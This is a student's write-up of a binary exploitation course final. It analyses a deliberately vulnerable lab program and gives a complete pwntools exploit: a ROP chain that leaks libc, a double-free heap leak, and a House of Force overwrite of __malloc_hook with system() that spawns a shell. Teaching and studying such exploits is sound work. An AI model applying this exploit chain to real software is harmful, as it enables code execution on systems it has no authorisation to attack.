Section 2: Vulnerability Analysis

For our final, we are given a binary, coincidentally named *final*, and we are tasked with spawning a shell.

Let us first examine the binary. The easiest way to do this is to use the utilities *checksec* and *ldd* on our binary.

```
➜  390RFinal checksec vuln
[*] '/home/platinum/Downloads/390RFinal/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'./'
➜  390RFinal ldd vuln
        linux-vdso.so.1 (0x00007fff3a460000)
        libc.so.6 => ./libc.so.6 (0x00007fee14e9e000)
        ./ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x000
07fee15291000)
➜  390RFinal
```

We are able to deduce a few important pieces of information here:

- Dynamic linking is enabled, since there is a relocation section available. This would mean that for any usage of libc, we would need a libc leak.
- The stack protector is disabled, meaning we do not need to worry about overwriting the stack canary in the case of a buffer overflow. This means that the integrity of the stack is not checked before the stack frame is cleared, so a buffer overflow is relatively trivial.
- No Execute is enabled, meaning we cannot simply fill a buffer with shellcode, mutate a return address, and then execute it.
- Position Independent Execution is disabled, so our program will not randomize the addresses every time the process is started.
- Our libc version is 2.27, as we can tell from the dynamic linker daemon path that we got from *ldd*. This means that we are able to, theoretically, use one of the exploits detailed in the Malloc Maleficarum article.

With that out of the way, let's dig into trying to exploit the program. Luckily, the author provided source code for us, so this shouldn't be too hard.

main()

```
1 int main() {
2         puts("Welcome to the 390R final exam");
3         puts("We hope you enjoyed this course!\n");
4         stage1();
5         stage2();
6         stage3();
7 }
```

Well, this is a very straightforward function. All it does is remind us of the fact that we are taking an exam, then calls the three stages of the exam in order. In this case, we will look at the stages in order.

stage1()

```
void stage1() {
        char buf[0x40];
        puts("Your goal for this stage is to get a libc leak by crafting a rop chain that makes use of \
        the got and plt as we discussed in the rop review section after spring break");
        gets(buf);
}
```

In this function, we are first given a hint of what we should attempt to accomplish (which is, a leak of a known libc function address, so we can calculate the libc base address), then we are given a call to *gets()*. A wise man once said, *"Do not use gets(). Not now. Not ever. Never. Just don't."* Unfortunately, this advice was seemingly not relayed to the author, as we have an unprotected *gets()* call here. As we mentioned previously, there is no stack canary, so we should be able to very easily overflow this buffer with whatever data we want. However, as No Execute is enabled, we cannot just run shellcode to spawn a shell. So, we need to get creative.

One way we can get around this, as the author hints, is to write a return-oriented-programming (ROP) chain. To do this, we need to find gadgets, or modules of code, that would be equivalent to *puts(puts)*. This will print the address of *puts* to standard output. As this is a libc function, we will have a libc leak.
Running ROPgadget, we can get a good idea of the gadgets we have available. We just need a gadget that allows us to set the first parameter, as *puts()* only takes one parameter – a *pop rdi; ret* gadget would be perfect for that, since *rdi* is the first parameter in the x64 function calling conventionn. And, luckily, we have one at 0x401563.

```
0x0000000000401563 : pop rdi ; ret
```

After setting up *rdi*, we need to call *puts()*, then continue onto the next stage. This is relatively trivial; all we need to do is add the Procedural Linkage Table address for *puts()* to our psuedostack, add the of *main* to the psuedostack, then force the program to go into *stage2()*. Below is an excerpt of my pwntools script that accomplishes this.

```
'''
stage 1: Construct a ROP chain to leak libc.
'''
p.clean()
payload = b'A' * 0x40 + b'B' * 0x8

# mov rdi, &puts
payload += p64(r.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(e.got['puts'])

# Call puts to print our data.
payload += p64(e.plt['puts'])

# Jump to stage2 afterwards.
payload += p64(e.sym['main'])

# Send our payload.
p.sendline(payload)

# Since we're going back into main, we will end up at stage1 again.
# So, let's get out of there.
p.sendline(b'A')

# Calculate the libc address.
l.address = unpack(p.recvline()[:-1] + b'\x00\x00', word_size=64, endian='little') - l.sym['puts']
print(f'[+] libc address: {hex(l.address)}')
```

We overflow the buffer with sizeof(buf) A's, and overflow the base pointer with 0x8 B's. This puts us at the return address, where we can construct our psuedostack, and force the stack frame to move upwards after every return call. After executing this, we receive our libc address.

stage2()

```
void stage2() {
        char buf[0x8];
        int choice;
        int alloc_size = 0;
        char *ptr;

        puts("Your goal for this stage is to get a heap leak using a heap bug");
        puts("To accomplish this you can perform exactly 3 actions");
        puts("1. Allocate\n2. Free\n3. Read");

        for (int i = 0; i < 4; i++) {
                printf("What do you want for step %d?\n", i+1);
                fgets(buf, sizeof(buf), stdin);
                choice = atoi(buf);

                switch (choice) {
                        case 1:
                        puts("What size allocation do you want?");
                        fgets(buf, sizeof(buf), stdin);
                        alloc_size = atoi(buf);
                        ptr = malloc(alloc_size);
                        break;
                        case 2:
                        free(ptr);
                        break;
                        case 3:
                        for (int i = 0; i < alloc_size; i++) {
                                printf("%c", ptr[i]);
                        }
                        break;
                        default:
                        break;
                }
        }
}
```

Here, we can see that we have the ability to allocate memory, free memory, and print memory. Since there is no verification before we free memory, this leads to a double free bug. Because this version of libc does not detect double free bugs (as we determined previously), we are able to perform a t-cache duplication, and read memory from the free list since there is a use-after free vulnerability. However, we can only input a sequence of 4 actions. Since there is no allocation performed before the loop, we need to use one of these actions to allocate. Afterwards, we can perform our double free, and then print the data we get from that. If we perform the correct allocations, we will point directly to the address of the top chunk, then leak the data. Here's the part of my solve.py which deals with this.

```
'''
stage 2: Heap leak.
'''
# Perform a double free.
p.sendline(b'1')
p.sendline(b'8')
p.sendline(b'2')
p.sendline(b'2')
p.clean()
p.sendline(b'3')

top_chunk_address = unpack(p.recv(8), word_size=64, endian='little') + 0x10
print(f'[+] Top chunk address: {hex(top_chunk_address)}')
```

We allocate memory of 8 bytes – this is because 8 bytes is the size of a 64 bit integer, which is the address space the heap chunks utilize. From there, we perform a double free by freeing our pointer two times; this puts it in the free list twice.

Afterwards, we print the data at the pointer's stored address, which now points to the top chunk address. This yields the top chunk address.

stage3()

```
void stage3() {
        char buf[0x20];
        unsigned long long size;
        char *ptr;

        puts("This is the final stage of this final. Time to spawn a shell!");
        puts("You will be doing this using the house of force technique we covered in class");
        puts("This technique does not require any free's, so from now on, you will just be able to \
        allocate data and write to it. I would recommend using a different size than what you \
        used for the heap leak, since you may otherwise have to do some heap cleanup first.");
        printf("\n\n\n");

        for (;;) {
                puts("What size alloction do you wish to do?\n>> ");
                fgets(buf, sizeof(buf), stdin);
                size = strtoll(buf, NULL, 0);
                ptr = malloc(size);

                puts("What do you want to write to this location?");
                fgets(ptr, 0x40, stdin);
        }
}
```

This function allows us to perform an infinite number of memory allocations, and allows us to perform writes to the addresses we allocated. However, we want to be able to control where we write to, so we can potentially use that as an exploit gadget.

Remember how I mentioned the Malloc Maleficarum? There is an exploit in the Maleficarum – also hinted at by the function we are analyzing – that would allow us to overwrite any address we want, allowing us to perform a write that would give us full control over *malloc()*'s functionality. This exploit, known as the House of Force (probably because it's a force to exploit...), consists of three steps:

1. Overwrite the size field of the top chunk to a very large value, like 2^{31} - 1, so we can traverse the entire heap address space.
2. Call *malloc()* with a size that forces us to land at the address of *__malloc_hook*.
3. Overwrite *__malloc_hook* with the call to any function we want; since it's a singular parameter function, we can overwrite it with *system()*, another singular parameter function. as we can use this to spawn a shell.

After these steps, *malloc()* will become *system()*, so we can just pass in the *"/bin/sh"* string as a parameter to *malloc()*.

Here is how I accomplished this in my solve.py.

```
'''
stage 3: Execute system.
'''
def malloc(size, data=b''):
print(f'[+] Allocating {size} bytes of memory...')
p.sendline(str(size))
print(f'[+] Sending {data}...')
p.sendline(data)
return

# Overwrite size field.
malloc(0x8, data=b'\xFF' * 0x20)
# Advance the top chunk pointer to the address of __malloc_hook.
malloc(l.sym.__malloc_hook - top_chunk_address - 0x20)
# Request a pointer to __malloc_hook's data, and overwrite it with the address of system.
malloc(100, data=p64(l.sym['system']))
# Call malloc, which is now system, and spawn a shell.
```

```
malloc(next(l.search(b'/bin/sh\x00')))
p.clean()
```

Since we would have the top chunk address if we were able to use *stage2()*'s exploit successfully, then:

1. We first *malloc()* a small chunk of data, then perform an out of bounds write to overflow the size to become the size of the address space.

2. Since we know the top chunk address, and we know how much data we just allocated (chunk-wise), we can calculate the distance from our current top chunk address to __malloc_hook, which allows us to point the top chunk address to __malloc_hook. This is done with the formula $addr_{\_\_malloc\_hook} = \&\_\_malloc\_hook$ - $addr_{top\_chunk}$ - $0x20$. We then overwrite the hook with the *system()* address.

3. We find the address of *"/bin/sh"* in libc, then pass that in as a parameter to *malloc()*, which is now *system()*.

Crafting the Exploit

Here is the final solve.py.

```python
from pwn import *

p = process('./vuln')
e = ELF('./vuln')
r = ROP(e)
l = e.libc

def malloc(size, data=b''):
print(f'[+] Allocating {size} bytes of memory...')
p.sendline(str(size))
print(f'[+] Sending {data}...')
p.sendline(data)
return

malloc_testing = '''
break *stage3+129
break *stage3+174
'''

system_testing = '''
break *stage3+113
'''
if args.GDB:
gdb.attach(p, gdbscript=system_testing)

'''
stage 1: Construct a ROP chain to leak libc.
'''
p.clean()
payload = b'A' * 0x40 + b'B' * 0x8

# mov rdi, &puts
payload += p64(r.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(e.got['puts'])

# Call puts to print our data.
payload += p64(e.plt['puts'])

# Jump to stage2 afterwards.
payload += p64(e.sym['main'])

# Send our payload.
p.sendline(payload)

# Since we're going back into main, we will end up at stage1 again. So, let's get out of there.
p.sendline(b'A')

# Calculate the libc address.
l.address = unpack(p.recvline()[:-1] + b'\x00\x00', word_size=64, endian='little') - l.sym['puts']
print(f'[+] libc address: {hex(l.address)}')

'''
stage 2: Heap leak.
'''
# Perform a double free.
p.sendline(b'1')
```

```
p.sendline(b'8')
p.sendline(b'2')
p.sendline(b'2')
p.clean()
p.sendline(b'3')

top_chunk_address = unpack(p.recv(8), word_size=64, endian='little') + 0x10
print(f'[+] Top chunk address: {hex(top_chunk_address)}')

'''
stage 3: Execute system.
'''
# Overwrite size field.
malloc(0x8, data=b'\xFF' * 0x20)
# Advance the top chunk pointer to the address of __malloc_hook.
malloc(l.sym.__malloc_hook - top_chunk_address - 0x20)
# Request a pointer to __malloc_hook's data, and overwrite it with the address of system.
malloc(100, data=p64(l.sym['system']))
# Call malloc, which is now system, and spawn a shell.
malloc(next(l.search(b'/bin/sh\x00')))
p.clean()

print('[+] If all went well, pop goes the shell.')
p.sendline(b'uname -a')
p.interactive()
```

Testing the Exploit

```
➜  390RFinal python3 solve.py
[+] Starting local process './vuln': pid 15268
[*] '/home/platinum/Downloads/390RFinal/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'./'
[*] Loaded 14 cached gadgets for './vuln'
[*] '/home/platinum/Downloads/390RFinal/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc address: 0x7f7902ecd000
[+] Top chunk address: 0xf0d270
[+] Allocating 8 bytes of memory...
/home/platinum/Downloads/390RFinal/solve.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#b
ytes
  p.sendline(str(size))
[+] Sending b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'.
..
[+] Allocating 140157705173408 bytes of memory...
[+] Sending b''...
[+] Allocating 100 bytes of memory...
[+] Sending b'@\xc4\xf1\x02y\x7f\x00\x00'...
[+] Allocating 140157718630042 bytes of memory...
[+] Sending b''...
[+] If all went well, pop goes the shell.
[*] Switching to interactive mode
Linux metcals-swagbook-pro 5.13.0-41-generic #46-Ubuntu SMP Thu Apr 14 20:06:04 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
$ echo LFG
LFG
```

Looks good to me! So, we were able to spawn a shell using the various heap exploits we covered in the course.